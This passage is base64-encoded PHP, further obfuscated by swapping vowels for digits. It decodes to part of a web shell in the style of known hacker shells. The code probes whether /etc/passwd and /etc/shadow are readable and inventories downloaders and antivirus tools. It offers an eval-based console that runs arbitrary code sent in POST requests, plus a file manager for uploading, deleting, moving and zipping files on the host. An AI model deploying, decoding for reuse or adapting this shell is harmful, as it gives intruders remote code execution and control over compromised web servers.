CAgICAgICAgICAgICAgd2g0bDUgKGYxbHM1ICE9PSAoJGY0bDVuMW01ID0gcjUxZGQ0cigkZGgpKSkNCiAgICAgICAgICAgICAgICAkZjRsNXNbXSA9ICRmNGw1bjFtNTsNCiAgICAgICAgICAgICAgICByNXQzcm4gJGY0bDVzOw0KICAgICAgICB9DQp9DQogDQpmM25jdDQybiBCT0ZGV2g0Y2goJHApIHsNCiAgICAgICAgJHAxdGggPSBCT0ZGRXgoJ3doNGNoICcgLiAkcCk7DQogICAgICAgIDRmKCE1bXB0eSgkcDF0aCkpDQogICAgICAgICAgICAgICAgcjV0M3JuICRwMXRoOw0KICAgICAgICByNXQzcm4gZjFsczU7DQp9DQogDQpmM25jdDQybiAxY3Q0Mm5TNWNJbmYyKCkgew0KICAgICAgICBCT0ZGSDUxZDVyKCk7DQogICAgICAgIDVjaDIgJzxoNj4mI29pOGU7JiNvZWk3OyYjb2VhOTsmI29lNjc7JiNvZXU2OyYjb2VhNjsmI29pODg7JiNvZWFvOyYjb2VvdTsmI29lNjc7JiNvZTY2OyYjb2VhNjsmI29lYTk7JiNvZTB1OyYjb2U2ZTsmI29lb287JiNvZTY4OyYjb2k4ZTsmI29lYTk7JiNvaTk2OyYjb2V1ODsmI29pOWk7JiNvZW9lOyYjb2U2OTsmI29lZTA7JiNvZTZpOyYjb2V1ODsmI29lYW87JiNvZWE5OyYjb2U2OTsmI29lZTA7PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsNCiAgICAgICAgZjNuY3Q0Mm4gQk9GRlM1Y1AxcjFtKCRuLCAkdikgew0KICAgICAgICAgICAgICAgICR2ID0gdHI0bSgkdik7DQogICAgICAgICAgICAgICAgNGYoJHYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxzcDFuPicgLiAkbiAuICc6IDwvc3Axbj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoc3RycDJzKCR2LCAiXG4iKSA9PT0gZjFsczUpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJHYgLiAnPGJyPic7DQogICAgICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxwcjUgY2wxc3M9bWw2PicgLiAkdiAuICc8L3ByNT4nOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgIA0KICAgICAgICBCT0ZGUzVjUDFyMW0oJ1M1cnY1ciBzMmZ0dzFyNScsIEBnNXQ1bnYoJ1NFUlZFUl9TT0ZUV0FSRScpKTsNCiAgICA0ZihmM25jdDQybl81eDRzdHMoJzFwMWNoNV9nNXRfbTJkM2w1cycpKQ0KICAgICAgICBCT0ZGUzVjUDFyMW0oJ0wyMWQ1ZCBBcDFjaDUgbTJkM2w1cycsIDRtcGwyZDUoJywgJywgMXAxY2g1X2c1dF9tMmQzbDVzKCkpKTsNCiAgICAgICAgQk9GRlM1Y1AxcjFtKCdENHMxYmw1ZCBQSFAgRjNuY3Q0Mm5zJywgJEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ10/JEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ106J24ybjUnKTsNCiAgICAgICAgQk9GRlM1Y1AxcjFtKCdPcDVuIGIxczUgZDRyJywgQDRuNF9nNXQoJzJwNW5fYjFzNWQ0cicpKTsNCiAgICAgICAgQk9GRlM1Y1AxcjFtKCdTMWY1IG0yZDUgNXg1YyBkNHInLCBANG40X2c1dCgnczFmNV9tMmQ1XzV4NWNfZDRyJykpOw0KICAgICAgICBCT0ZGUzVjUDFyMW0oJ1MxZjUgbTJkNSA0bmNsM2Q1IGQ0cicsIEA0bjRfZzV0KCdzMWY1X20yZDVfNG5jbDNkNV9kNHInKSk7DQogICAgICAgIEJPRkZTNWNQMXIxbSgnY1VSTCBzM3BwMnJ0JywgZjNuY3Q0Mm5fNXg0c3RzKCdjM3JsX3Y1cnM0Mm4nKT8nNW4xYmw1ZCc6J24yJyk7DQogICAgICAgICR0NW1wPTFycjF5KCk7DQogICAgICAgIDRmKGYzbmN0NDJuXzV4NHN0cygnbXlzcWxfZzV0X2NsNDVudF80bmYyJykpDQogICAgICAgICAgICAgICAgJHQ1bXBbXSA9ICJNeVNxbCAoIi5teXNxbF9nNXRfY2w0NW50XzRuZjIoKS4iKSI7DQogICAgICAgIDRmKGYzbmN0NDJuXzV4NHN0cygnbXNzcWxfYzJubjVjdCcpKQ0KICAgICAgICAgICAgICAgICR0NW1wW10gPSAiTVNTUUwiOw0KICAgICAgICA0ZihmM25jdDQybl81eDRzdHMoJ3BnX2Mybm41Y3QnKSkNCiAgICAgICAgICAgICAgICAkdDVtcFtdID0gIlAyc3RncjVTUUwiOw0KICAgICAgICA0ZihmM25jdDQybl81eDRzdHMoJzJjNF9jMm5uNWN0JykpDQogICAgICAgICAgICAgICAgJHQ1bXBbXSA9ICJPcjFjbDUiOw0KICAgICAgICBCT0ZGUzVjUDFyMW0oJ1MzcHAycnQ1ZCBkMXQxYjFzNXMnLCA0bXBsMmQ1KCcsICcsICR0NW1wKSk7DQogICAgICAgIDVjaDIgJzxicj4nOw0KICAgICAgIA0KICAgICAgICA0ZigkR0xPQkFMU1snMnMnXSA9PSAnbjR4Jykgew0KICAgICAgICAgICAgICAgIEJPRkZTNWNQMXIxbSgnUjUxZDFibDUgLzV0Yy9wMXNzd2QnLCBANHNfcjUxZDFibDUoJy81dGMvcDFzc3dkJyk/Ink1cyA8MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNUMjJsc1wiLCBcIi81dGMvXCIsIFwicDFzc3dkXCIpJz5bdjQ1d108LzE+IjonbjInKTsNCiAgICAgICAgICAgICAgICBCT0ZGUzVjUDFyMW0oJ1I1MWQxYmw1IC81dGMvc2gxZDJ3JywgQDRzX3I1MWQxYmw1KCcvNXRjL3NoMWQydycpPyJ5NXMgPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzVDIybHNcIiwgXCI1dGNcIiwgXCJzaDFkMndcIiknPlt2NDV3XTwvMT4iOiduMicpOw0KICAgICAgICAgICAgICAgIEJPRkZTNWNQMXIxbSgnT1MgdjVyczQybicsIEBmNGw1X2c1dF9jMm50NW50cygnL3ByMmMvdjVyczQybicpKTsNCiAgICAgICAgICAgICAgICBCT0ZGUzVjUDFyMW0oJ0Q0c3RyIG4xbTUnLCBAZjRsNV9nNXRfYzJudDVudHMoJy81dGMvNHNzMzUubjV0JykpOw0KICAgICAgICAgICAgICAgIDRmKCEkR0xPQkFMU1snczFmNV9tMmQ1J10pIHsNCiAgICAgICAgICAgICQzczVyZjNsID0gMXJyMXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtMWs1JywncGhwJywncDVybCcsJ3B5dGgybicsJ3IzYnknLCd0MXInLCdnejRwJywnYno0cCcsJ2J6NHBhJywnbmMnLCdsMmMxdDUnLCdzMzRkcDVybCcpOw0KICAgICAgICAgICAgJGQxbmc1ciA9IDFycjF5KCdrMXYnLCduMmRvYScsJ2JkYzJyNWQnLCczdnNjMW4nLCdzMXYnLCdkcnc1YmQnLCdjbDFtZCcsJ3JraDNudDVyJywnY2hrcjIydGs0dCcsJzRwdDFibDVzJywnNHBmdycsJ3RyNHB3NHI1Jywnc2g0NWxkY2MnLCdwMnJ0czVudHJ5Jywnc24ycnQnLCcyc3M1YycsJ2w0ZHMxZG0nLCd0Y3BsMmRnJywnc3g0ZCcsJ2wyZ2NoNWNrJywnbDJndzF0Y2gnLCdzeXNtMXNrJywnem1ic2MxcCcsJ3Mxd200bGwnLCd3MnJtc2MxbicsJ240bmoxJyk7DQogICAgICAgICAgICAkZDJ3bmwyMWQ1cnMgPSAxcnIxeSgnd2c1dCcsJ2Y1dGNoJywnbHlueCcsJ2w0bmtzJywnYzNybCcsJ2c1dCcsJ2x3cC1tNHJyMnInKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxicj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHQ1bXA9MXJyMXkoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2ggKCQzczVyZjNsIDFzICQ0dDVtKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZihCT0ZGV2g0Y2goJDR0NW0pKQ0KICAgICAgICAgICAgICAgICAgICAkdDVtcFtdID0gJDR0NW07DQogICAgICAgICAgICAgICAgICAgICAgICBCT0ZGUzVjUDFyMW0oJ1VzNXJmM2wnLCA0bXBsMmQ1KCcsICcsJHQ1bXApKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICR0NW1wPTFycjF5KCk7DQogICAgICAgICAgICAgICAgICAgICAgICBmMnI1MWNoICgkZDFuZzVyIDFzICQ0dDVtKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZihCT0ZGV2g0Y2goJDR0NW0pKQ0KICAgICAgICAgICAgICAgICAgICAkdDVtcFtdID0gJDR0NW07DQogICAgICAgICAgICAgICAgICAgICAgICBCT0ZGUzVjUDFyMW0oJ0Qxbmc1cicsIDRtcGwyZDUoJywgJywkdDVtcCkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHQ1bXA9MXJyMXkoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2ggKCRkMndubDIxZDVycyAxcyAkNHQ1bSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoQk9GRldoNGNoKCQ0dDVtKSkNCiAgICAgICAgICAgICAgICAgICAgJHQ1bXBbXSA9ICQ0dDVtOw0KICAgICAgICAgICAgICAgICAgICAgICAgQk9GRlM1Y1AxcjFtKCdEMndubDIxZDVycycsIDRtcGwyZDUoJywgJywkdDVtcCkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPGJyLz4nOw0KICAgICAgICAgICAgQk9GRlM1Y1AxcjFtKCdIREQgc3AxYzUnLCBCT0ZGRXgoJ2RmIC1oJykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgQk9GRlM1Y1AxcjFtKCdIMnN0cycsIEBmNGw1X2c1dF9jMm50NW50cygnLzV0Yy9oMnN0cycpKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgQk9GRlM1Y1AxcjFtKCdPUyBWNXJzNDJuJyxCT0ZGRXgoJ3Y1cicpKTsNCiAgICAgICAgICAgICAgICBCT0ZGUzVjUDFyMW0oJ0FjYzIzbnQgUzV0dDRuZ3MnLEJPRkZFeCgnbjV0IDFjYzIzbnRzJykpOw0KICAgICAgICAgICAgICAgIEJPRkZTNWNQMXIxbSgnVXM1ciBBY2MyM250cycsQk9GRkV4KCduNXQgM3M1cicpKTsNCiAgICAgICAgfQ0KICAgICAgICA1Y2gyICc8L2Q0dj4nOw0KICAgICAgICBCT0ZGRjIydDVyKCk7DQp9DQogDQpmM25jdDQybiAxY3Q0Mm5QaHAoKSB7DQogICAgICAgIDRmKDRzczV0KCRfUE9TVFsnMWoxeCddKSkgew0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10gPSB0cjM1Ow0KICAgICAgICAgICAgICAgIDJiX3N0MXJ0KCk7DQogICAgICAgICAgICAgICAgNXYxbCgkX1BPU1RbJ3A2J10pOw0KICAgICAgICAgICAgICAgICR0NW1wID0gImQyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdQaHBPM3RwM3QnKS5zdHlsNS5kNHNwbDF5PScnO2QyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdQaHBPM3RwM3QnKS40bm41ckhUTUw9JyIgLiAxZGRjc2wxc2g1cyhodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKSwgIlxuXHJcdFxcJ1wwIikgLiAiJztcbiI7DQogICAgICAgICAgICAgICAgNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsNCiAgICAgICAgICAgICAgICA1eDR0Ow0KICAgICAgICB9DQogICAgICAgIEJPRkZINTFkNXIoKTsNCiAgICAgICAgNGYoNHNzNXQoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwYSddID09ICc0bmYyJykpIHsNCiAgICAgICAgICAgICAgICA1Y2gyICc8aDY+UEhQIDRuZjI8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48c3R5bDU+LnAge2MybDJyOiMwMDA7fTwvc3R5bDU+JzsNCiAgICAgICAgICAgICAgICAyYl9zdDFydCgpOw0KICAgICAgICAgICAgICAgIHBocDRuZjIoKTsNCiAgICAgICAgICAgICAgICAkdG1wID0gMmJfZzV0X2NsNTFuKCk7DQogICAgICAgICR0bXAgPSBwcjVnX3I1cGwxYzUoJyEoYjJkeXwxOlx3K3xiMmR5LCB0ZCwgdGgsIGg2LCBoYSkgey4qfSFtczRVJywnJywkdG1wKTsNCiAgICAgICAgICAgICAgICAkdG1wID0gcHI1Z19yNXBsMWM1KCchdGQsIHRoIHsoLiopfSFtczRVJywnLjUsIC52LCAuaCwgLmggdGggeyQ2fScsJHRtcCk7DQogICAgICAgICAgICAgICAgNWNoMiBzdHJfcjVwbDFjNSgnPGg2JywnPGhhJywgJHRtcCkgLic8L2Q0dj48YnI+JzsNCiAgICAgICAgfQ0KICAgICAgICA0Zig1bXB0eSgkX1BPU1RbJzFqMXgnXSkgJiYgITVtcHR5KCRfUE9TVFsncDYnXSkpDQogICAgICAgICAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnXSA9IGYxbHM1Ow0KICAgIDVjaDIgJzxoNj4mI29ldTg7JiNvaThlOyYjb2VvNzsmI29lNjg7JiNvZTA5OyYjb2k4ODsmI29lb2k7JiNvZWFlOyYjb2VvbzsmI29laWU7JiNvaTk2OyYjb2U2NjsmI29pOTk7JiNvZW9lOyYjb2U2MDsmI29lb287JiNvZTBpOyYjb2VvZTsmI29pOGk7JiNvZW91OyYjb2U2OTsgIFBIUC1jMmQ1PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PGYycm0gbjFtNT1wZiBtNXRoMmQ9cDJzdCAybnMzYm00dD0iNGYodGg0cy4xajF4LmNoNWNrNWQpezEoXCdQaHBcJyxuM2xsLHRoNHMuYzJkNS52MWwzNSk7fTVsczV7ZyhcJ1BocFwnLG4zbGwsdGg0cy5jMmQ1LnYxbDM1LFwnXCcpO31yNXQzcm4gZjFsczU7Ij48dDV4dDFyNTEgbjFtNT1jMmQ1IGNsMXNzPWI0ZzFyNTEgNGQ9UGhwQzJkNT4nLighNW1wdHkoJF9QT1NUWydwNiddKT9odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSk6JycpLic8L3Q1eHQxcjUxPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT1FdjFsIHN0eWw1PSJtMXJnNG4tdDJwOmlweCI+JzsNCiAgICAgICAgNWNoMiAnIDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9MWoxeCB2MWwzNT02ICcuKCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddPydjaDVjazVkJzonJykuJz4gJiNvZWFlOyYjb2VpZTsmI29pOTY7JiNvaThpOyYjb2VvdTsmI29lNjk7JiNvZWk2OyYjb2k5dTsmI29laTc7IEFKQVg8L2Yycm0+PHByNSA0ZD1QaHBPM3RwM3Qgc3R5bDU9IicuKDVtcHR5KCRfUE9TVFsncDYnXSk/J2Q0c3BsMXk6bjJuNTsnOicnKS4nbTFyZzRuLXQycDppcHg7IiBjbDFzcz1tbDY+JzsNCiAgICAgICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCiAgICAgICAgICAgICAgICAyYl9zdDFydCgpOw0KICAgICAgICAgICAgICAgIDV2MWwoJF9QT1NUWydwNiddKTsNCiAgICAgICAgICAgICAgICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoMmJfZzV0X2NsNTFuKCkpOw0KICAgICAgICB9DQogICAgICAgIDVjaDIgJzwvcHI1PjwvZDR2Pic7DQogICAgICAgIEJPRkZGMjJ0NXIoKTsNCn0NCiANCmYzbmN0NDJuIDFjdDQybkY0bDVzTTFuKCkgew0KICAgICAgICBCT0ZGSDUxZDVyKCk7DQogICAgICAgIDVjaDIgJzxoNj4mI29pOWE7JiNvZW9vOyYjb2UwdTsmI29pOGk7JiNvZW91OyYjb2U2OTsmI29laWE7JiNvZTZpOyYjb2VhNjsmI29lZTA7PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHNjcjRwdD5wNl89cGFfPXBvXz0iIjs8L3NjcjRwdD4nOw0KICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KICAgICAgICAgICAgICAgIHN3NHRjaCgkX1BPU1RbJ3A2J10pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGMxczUgJzNwbDIxZEY0bDUnOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZighQG0ydjVfM3BsMjFkNWRfZjRsNSgkX0ZJTEVTWydmJ11bJ3RtcF9uMW01J10sICRfRklMRVNbJ2YnXVsnbjFtNSddKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICImI29laWE7JiNvZTY3OyYjb2VpZTsmI29lYWU7JiNvZW91OyYjb2U2NzsmI29lb3U7JiNvZTY5OyYjb2UwZTsgVXBsMTJkICYjb2VpYTsmI29lNmk7JiNvZWE2OyYjb2VlMDsmI29laWE7JiNvZTB1OyYjb2VpNzshIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgICAgICAgICBjMXM1ICdta2Q0cic6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCFAbWtkNHIoJF9QT1NUWydwYSddKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICImI29laWE7JiNvZTY3OyYjb2VpZTsmI29lYWU7JiNvZW91OyYjb2U2NzsmI29lb3U7JiNvZTY5OyYjb2UwZTsmI29lYWU7JiNvZTY5OyYjb2VpNzsmI29lb3U7JiNvaTk2OyYjb2V1OTsmI29lNmk7JiNvZWk3OyYjb2U2NzsmI29laWE7JiNvZTB1OyYjb2VpNzsgISI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgYzFzNSAnZDVsNXQ1JzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZjNuY3Q0Mm4gZDVsNXQ1RDRyKCRwMXRoKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHAxdGggPSAoczNic3RyKCRwMXRoLC02KT09Jy8nKSA/ICRwMXRoOiRwMXRoLicvJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGggID0gMnA1bmQ0cigkcDF0aCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2g0bDUgKCAoJDR0NW0gPSByNTFkZDRyKCRkaCkgKSAhPT0gZjFsczUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtID0gJHAxdGguJDR0NW07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZiAoIChiMXM1bjFtNSgkNHQ1bSkgPT0gIi4uIikgfHwgKGIxczVuMW01KCQ0dDVtKSA9PSAiLiIpICkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdHlwNSA9IGY0bDV0eXA1KCQ0dDVtKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmICgkdHlwNSA9PSAiZDRyIikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZDVsNXQ1RDRyKCQ0dDVtKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQDNubDRuaygkNHQ1bSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsMnM1ZDRyKCRkaCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQHJtZDRyKCRwMXRoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0Zig0c18xcnIxeShAJF9QT1NUWydmJ10pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9QT1NUWydmJ10gMXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmID09ICcuLicpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZiA9IDNybGQ1YzJkNSgkZik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0Zig0c19kNHIoJGYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkNWw1dDVENHIoJGYpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAM25sNG5rKCRmKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgYzFzNSAncDFzdDUnOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkX1NFU1NJT05bJzFjdCddID09ICdjMnB5Jykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYzbmN0NDJuIGMycHlfcDFzdDUoJGMsJHMsJGQpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoNHNfZDRyKCRjLiRzKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1rZDRyKCRkLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGggPSBAMnA1bmQ0cigkYy4kcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoNGw1ICgoJGYgPSBAcjUxZGQ0cigkaCkpICE9PSBmMWxzNSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZiAoKCRmICE9ICIuIikgMW5kICgkZiAhPSAiLi4iKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMycHlfcDFzdDUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSA1bHM1NGYoNHNfZjRsNSgkYy4kcykpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjMnB5KCRjLiRzLCAkZC4kcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGYpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMnB5X3Axc3Q1KCRfU0VTU0lPTlsnYyddLCRmLCAkR0xPQkFMU1snY3dkJ10pOyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNTRmKCRfU0VTU0lPTlsnMWN0J10gPT0gJ20ydjUnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZjNuY3Q0Mm4gbTJ2NV9wMXN0NSgkYywkcywkZCl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0Zig0c19kNHIoJGMuJHMpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbWtkNHIoJGQuJHMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaCA9IEAycDVuZDRyKCRjLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2g0bDUgKCgkZiA9IEByNTFkZDRyKCRoKSkgIT09IGYxbHM1KQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmICgoJGYgIT0gIi4iKSAxbmQgKCRmICE9ICIuLiIpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJweV9wMXN0NSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IDVsczU0ZihANHNfZjRsNSgkYy4kcykpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjMnB5KCRjLiRzLCAkZC4kcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGYpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAcjVuMW01KCRfU0VTU0lPTlsnYyddLiRmLCAkR0xPQkFMU1snY3dkJ10uJGYpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IDVsczU0ZigkX1NFU1NJT05bJzFjdCddID09ICd6NHAnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoY2wxc3NfNXg0c3RzKCdaNHBBcmNoNHY1JykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR6NHAgPSBuNXcgWjRwQXJjaDR2NSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYgKCR6NHAtPjJwNW4oJF9QT1NUWydwYSddLCA2KSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZDRyKCRfU0VTU0lPTlsnYyddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmID09ICcuLicpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMm50NG4zNTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoQDRzX2Y0bDUoJF9TRVNTSU9OWydjJ10uJGYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+MWRkRjRsNSgkX1NFU1NJT05bJ2MnXS4kZiwgJGYpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1NGYoQDRzX2Q0cigkX1NFU1NJT05bJ2MnXS4kZikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVyMXQyciA9IG41dyBSNWMzcnM0djVJdDVyMXQyckl0NXIxdDJyKG41dyBSNWMzcnM0djVENHI1Y3QycnlJdDVyMXQycigkZi4nLycpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2ggKCQ0dDVyMXQyciAxcyAkazV5PT4kdjFsMzUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT4xZGRGNGw1KHI1MWxwMXRoKCRrNXkpLCAkazV5KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGQ0cigkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPmNsMnM1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICB